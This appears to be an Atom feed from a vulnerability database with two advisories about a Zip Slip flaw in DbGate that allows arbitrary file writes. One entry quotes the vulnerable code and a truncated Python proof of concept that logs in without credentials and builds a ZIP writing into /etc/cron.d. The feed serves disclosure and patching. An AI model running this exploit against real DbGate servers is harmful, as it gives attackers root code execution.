<?xml version='1.0' encoding='UTF-8'?>
<?xml-stylesheet href="/static/style.xsl" type="text/xsl"?>
<feed xmlns="http://www.w3.org/2005/Atom" xml:lang="en">
  <id>https://vulnerability.circl.lu/rss/recent/all/10</id>
  <title>Most recent entries from all</title>
  <updated>2026-10-02T18:54:02.455605+00:00</updated>
  <author>
    <name>Vulnerability-Lookup</name>
    <email>info@circl.lu</email>
  </author>
  <link href="https://vulnerability.circl.lu" rel="alternate"/>
  <generator uri="https://lkiesow.github.io/python-feedgen" version="1.0.0">python-feedgen</generator>
  <subtitle>Contains only the most 10 recent entries.</subtitle>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/fkie_cve-2026-47669</id>
    <title>fkie_cve-2026-47669</title>
    <updated>2026-10-02T18:54:02.493667+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml">
        <p>DbGate is cross-platform database manager. In versions 7.1.8 and prior, the `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem. In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker. Version 7.1.9 fixes the issue.</p>
      </div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/fkie_cve-2026-47669"/>
  </entry>
  <entry>
    <id>https://vulnerability.circl.lu/vuln/ghsa-h535-j5hr-mv56</id>
    <title>GHSA-h535-j5hr-mv56 — DbGate: Zip Slip in archive/unzip allows arbitrary file write leading to RCE</title>
    <updated>2026-10-02T18:54:02.493768+00:00</updated>
    <content type="xhtml">
      <div xmlns="http://www.w3.org/1999/xhtml"><p><strong>Affected:</strong> npm: dbgate</p>
<p>The `unzipDirectory()` function in `packages/api/src/shell/unzipDirectory.js` (line 27) does not validate that extracted file paths stay within the output directory. A malicious ZIP with `../` entries writes files anywhere on the filesystem.</p>
<p>In the default Docker deployment, DbGate runs as root and the `none` auth provider issues JWT tokens without credentials via `POST /auth/login`, so this is exploitable by any network-adjacent attacker.</p>
<p>**Affected code:**</p>
<p>`packages/api/src/shell/unzipDirectory.js`, line 27:
```js
const destPath = path.join(outputDirectory, entry.fileName);
// No check that destPath stays within outputDirectory
```</p>
<p>Called from `packages/api/src/controllers/archive.js`, lines 291-293:
```js
async unzip({ folder }) {
    const newFolder = await this.getNewArchiveFolder({ database: folder.slice(0, -4) });
    await unzipDirectory(path.join(archivedir(), folder), path.join(archivedir(), newFolder));
```</p>
<p>The archive controller also has zero permission checks and zero path traversal protection on any of its endpoints.</p>
<p>**PoC:**</p>
<p>```python
import requests, zipfile, io</p>
<p>TARGET = "http://localhost:3000"</p>
<p># Get auth token (no credentials needed in default Docker)
r = requests.post(f"{TARGET}/api/auth/login", json={"amoid": "none"})
token = r.json()["accessToken"]
hdrs = {"Authorization": f"Bearer {token}"}</p>
<p># Create malicious ZIP with path traversal
buf = io.BytesIO()
with zipfile.ZipFile(buf, 'w') as zf:
    zf.writestr("../../../../../../etc/cron.d/dbgate-pwn…</p></div>
    </content>
    <link href="https://vulnerability.circl.lu/vuln/ghsa-h535-j5hr-mv56"/>
  </entry>
</feed>
